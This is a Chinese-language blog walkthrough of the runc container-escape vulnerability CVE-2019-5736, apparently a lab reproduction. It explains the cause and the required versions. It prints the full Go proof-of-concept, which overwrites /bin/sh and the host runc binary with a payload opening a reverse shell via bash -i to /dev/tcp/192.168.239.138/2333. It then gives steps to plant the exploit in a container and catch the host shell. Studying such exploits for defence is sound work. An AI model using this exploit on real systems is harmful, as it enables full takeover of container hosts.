• Docker逃逸---CVE-2019-5736浅析


    一、产生原因

    Docker执行命令时,先向镜像管理的containerd发送gRPC请求,containerd收到请求后,再发送给具体的容器管理containerd-shim,shim根据OCI协议将命令发送给runc执行,所以实际上执行命令的是runc

    漏洞大概意思是:/proc/[PID]/exe这个链接文件的指向是该进程的二进制文件,而在runc exec加入到容器的命名空间之后, 容器内进程已经能够通过内部/proc观察到它,通过遍历/proc目录,此时我们可以拿到runc在宿主机上的二进制文件路径,然后用恶意代码覆盖runc二进制文件

    然后等待管理员执行docker exec命令,但由于该漏洞需要重写runc二进制文件,故漏洞利用完会造成目标docker无法使用

    二、利用条件

    1、docker-runc版本不能高于1.0-rc6,docker 版本在18.09之前

    2、容器以root权限运行

    三、复现过程

    1、环境搭建

    docker和runc版本如下

     下载docker环境脚本并运行

    curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

    2、下载POC,修改脚本

    git clone https://github.com/Frichetten/CVE-2019-5736-PoC

    下载不了可以复制下面代码

    1. package main
    2. // Implementation of CVE-2019-5736
    3. // Created with help from @singe, @_cablethief, and @feexd.
    4. // This commit also helped a ton to understand the vuln
    5. // https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
    6. import (
    7. "fmt"
    8. "io/ioutil"
    9. "os"
    10. "strconv"
    11. "strings"
    12. "flag"
    13. )
    14. var shellCmd string
    15. func init() {
    16. flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
    17. flag.Parse()
    18. }
    19. func main() {
    20. // This is the line of shell commands that will execute on the host
    21. var payload = "#!/bin/bash \n bash -c 'bash -i >& /dev/tcp/192.168.239.138/2333 0>&1'" + shellCmd
    22. // First we overwrite /bin/sh with the /proc/self/exe interpreter path
    23. fd, err := os.Create("/bin/sh")
    24. if err != nil {
    25. fmt.Println(err)
    26. return
    27. }
    28. fmt.Fprintln(fd, "#!/proc/self/exe")
    29. err = fd.Close()
    30. if err != nil {
    31. fmt.Println(err)
    32. return
    33. }
    34. fmt.Println("[+] Overwritten /bin/sh successfully")
    35. // Loop through all processes to find one whose cmdline includes runcinit
    36. // This will be the process created by runc
    37. var found int
    38. for found == 0 {
    39. pids, err := ioutil.ReadDir("/proc")
    40. if err != nil {
    41. fmt.Println(err)
    42. return
    43. }
    44. for _, f := range pids {
    45. fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
    46. fstring := string(fbytes)
    47. if strings.Contains(fstring, "runc") {
    48. fmt.Println("[+] Found the PID:", f.Name())
    49. found, err = strconv.Atoi(f.Name())
    50. if err != nil {
    51. fmt.Println(err)
    52. return
    53. }
    54. }
    55. }
    56. }
    57. // We will use the pid to get a file handle for runc on the host.
    58. var handleFd = -1
    59. for handleFd == -1 {
    60. // Note, you do not need to use the O_PATH flag for the exploit to work.
    61. handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
    62. if int(handle.Fd()) > 0 {
    63. handleFd = int(handle.Fd())
    64. }
    65. }
    66. fmt.Println("[+] Successfully got the file handle")
    67. // Now that we have the file handle, lets write to the runc binary and overwrite it
    68. // It will maintain it's executable flag
    69. for {
    70. writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
    71. if int(writeHandle.Fd()) > 0 {
    72. fmt.Println("[+] Successfully got write handle", writeHandle)
    73. fmt.Println("[+] The command executed is" + payload)
    74. writeHandle.Write([]byte(payload))
    75. return
    76. }
    77. }
    78. }

    改为要反弹的主机和端口

    这里把编译好的main复制到容器内执行,模拟攻击者

    1. go build -o main main.go
    2. docker cp main 33c6927d312d:/tmp

    3、执行脚本,然后等待管理员执行命令,反弹shell

    容器内运行脚本    ./main

    模拟管理员执行exec命令

    攻击机监听,成功反弹宿主机shell

  • 相关阅读:
    Linux中DNS的分离解析和自动分配
    基于单片机的智能家居安保系统(论文+源码)
    swagger 文档自动生成接口代码+ts类型
    我想不通,MySQL 为什么使用 B+ 树来作索引?
    SpringCloud——注册中心Eureka
    一文了解 Go 接口
    YOLOv7独家改进FPN系列:结合新颖的 GhostSlimPAN 范式网络结构,进一步提升检测器性能
    sklearn基础篇(七)-- 随机森林(Random forest)
    Spring框架详解
    基于Java+SpringBoot+Thymeleaf+Mysql在线外卖点餐系统设计与实现
  • 原文地址:https://blog.csdn.net/CQ17743254852/article/details/133857208